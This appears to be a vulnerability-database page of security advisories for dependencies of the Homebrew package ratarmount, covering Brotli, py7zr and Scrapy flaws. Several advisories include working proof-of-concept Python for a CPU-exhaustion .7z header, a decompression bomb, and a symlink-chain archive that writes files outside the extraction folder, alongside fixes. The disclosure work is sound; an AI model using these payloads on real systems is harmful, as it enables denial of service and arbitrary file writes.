Threats affecting pkg:brew/ratarmount

A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

Scrapy versions up to 2.13.3 are vulnerable to a denial of service (DoS) attack due to a flaw in its brotli decompression implementation. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression. Mitigation for this vulnerability needs security enhancement added in brotli v1.2.0.